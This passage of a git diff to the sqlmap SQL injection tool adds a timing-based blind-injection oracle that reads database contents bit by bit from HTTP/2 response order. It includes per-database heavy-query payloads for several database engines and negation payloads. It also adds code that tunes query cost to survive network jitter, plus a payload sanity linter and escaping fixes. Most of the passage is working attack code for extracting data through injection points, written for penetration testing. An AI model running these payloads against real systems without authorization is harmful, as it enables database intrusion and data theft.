COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", + # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash + DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join + DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> + # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. +} + +# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / +# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time +# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same +# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the +# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the +# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so +# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS +# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means +# re-extract. +LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) +MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter +# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute +# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under +# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. +MIN_SEPARATION_FRAC = 0.5 + +# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit +# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is +# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a +# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable +# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the +# response order was a coin flip -> corruption). With the count itself computed from the bit +# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine +# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the +# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated +# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). +_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) + + +# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the +# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single +# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads +# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. +INFERENCE_BEGIN = "/*tlb*/" +INFERENCE_END = "/*tle*/" + + +def lightHeavyVector(dbms, cost): + """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no + primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the + mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). + + Two gating shapes, both flowing through the exact same payload machinery: + - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound + (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an + optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. + - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN ELSE [RANDNUM])' branch, used + where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); + these engines were validated not to hoist. + Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still + manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" + primitive = LIGHT_HEAVY.get(dbms) + if not primitive: + return None + if dbms in _GATED_COST: + gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) + heavy = primitive.replace("[COST]", gate) + return "AND [RANDNUM]<%s" % heavy + heavy = primitive.replace("[COST]", str(int(cost))) + return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) + + +def negatePayload(value): + """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if + no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated + request (the request whose heavy branch must run iff the condition does NOT hold). + + The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - + NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison + (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor + its negation forces the heavy branch - both requests stay cheap and the response order is left to + secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom + trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the + NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every + vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable + across every DBMS (unlike `IS NOT TRUE`).""" + import re + + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + if not pattern.search(value or ""): + return None + return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) + + +def _pairMs(conn, reqA, reqB, samples=5, timeout=30): + """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy + branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that + decides which cost to engage at (see tuneHeavy).""" + import time as _t + + ts = [] + for _ in range(samples): + s = _t.time() + _pairOrder(conn, reqA, reqB, timeout) + ts.append((_t.time() - s) * 1000.0) + return sorted(ts)[samples // 2] + + +def _calibrationConditions(dbms): + """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real + extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an + UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 + for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the + uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a + CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating + with the constant sees a clean heavy delta the REAL extraction never has and engages straight into + corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target + measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan + safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no + inference/banner template (calibration still gates, just without the hoist check).""" + from lib.core.data import queries + + try: + entry = queries[dbms] + template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' + banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' + # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) + return (template % (banner, 1, 1), template % (banner, 1, 255)) + except Exception: + return ("1=1", "1=0") + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): + """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy + that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, + and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if + none qualifies. + + Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) + and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a + generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits + under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a + # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with + # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). + trueCond, falseCond = _calibrationConditions(dbms) + best = 0.0 + for cost in LIGHT_HEAVY_COSTS: + vector = lightHeavyVector(dbms, cost) + if not vector: + return (None, None, 0.0) + reqSlow = _forgeRequest(trueCond, conn.host, vector) + reqFast = _forgeRequest(falseCond, conn.host, vector) + # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair + # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable + # (the reliability gate that picks which cost to engage at). + try: + heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) + cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) + except Exception: + heavyPair = cheapPair = 0.0 + separation = heavyPair - cheapPair + # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) + # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a + # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is + # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of + # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the + # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> + # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). + # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each + # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration + # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the + # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. + if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: + if progress is not None: + progress() + continue # margin too thin to survive load -> escalate cost + usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + best = max(best, confidence) + if usable: + return (vector, cost, confidence) + return (None, None, best) + + +def _forgeRequest(inferenceExpr, authority, vector=None): + """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the + INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it + (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) + are filled by agent.payload just like a normal request.""" + from lib.core.agent import agent + from lib.core.common import getTechniqueData + from lib.core.settings import INFERENCE_MARKER + from lib.request.connect import Connect + + vector = vector if vector is not None else getTechniqueData().vector + forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) + spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) + return _specToReq(spec, authority) + + +def readBitLive(conn, condition, vector=None, votes=1, timeout=30): + """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison + bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the + negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, + so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" + reqCond = _forgeRequest(condition, conn.host, vector) + reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) + + +def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): + """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy + reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 + and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS + errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially + always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over + a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a + phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still + clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. + Returns True iff the condition holds.""" + condLast = 0 + for i in range(votes): + if i % 2 == 0: + order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 + else: + order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 + if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote + condLast += 1 + return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) + + +def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): + """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); + below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + reqSlow = _forgeRequest("1=1", conn.host, vector) + reqFast = _forgeRequest("1=0", conn.host, vector) + return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + + +if __name__ == "__main__": + # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad + # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. + import sys + + host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 + cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 + + def req(bit): + return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} + + conn = connect(host, port, None, 30) + usable, conf = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + if usable: + import itertools + # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy + # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one + # runs heavy, so a single pair resolves the bit both ways. + bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) + ok = 0 + for b in bits: + got = readBit(conn, req(b), req(1 - b), votes=1) + ok += int(bool(got) == bool(b)) + print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + conn.close() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 6e5bb4f27e9..60aa12aa062 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -806,7 +806,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal): if restricted: # the character fell outside this column's observed range - re-extract # over the full charset (not timing noise, so no delay increase / retry count) diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 00000000000..cc220923191 --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,265 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = "unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>[A-Za-z_@$][A-Za-z0-9_@$]*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT ") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + break + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- glued number/keyword boundary: '1UNION', '1AND' --------------- + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type in (T_IDENT, T_KEYWORD): + issues.append("digit glued to a word ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + return issues diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 91e255219dc..ef06da6c83b 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -16,6 +16,8 @@ def escape(expression, quote=True): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 9c9a87b841e..568a0eb531f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -442,9 +442,11 @@ def cellQuery(column, index): # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a # value's characters across threads) and the per-column Huffman model + low-cardinality - # guessing engage under concurrency. Used for the boolean channel with '--threads'; the - # classic per-character-parallel loop stays for single-thread and time-based. - if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic - unlike classic time-based, whose char-parallel loop interleaves its + # per-thread output). Single-thread and classic time-based keep the char-parallel loop. + if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5da7b985298..1202771fdbc 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -26,18 +26,21 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value - if replacement != original: + if replacement != value: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression)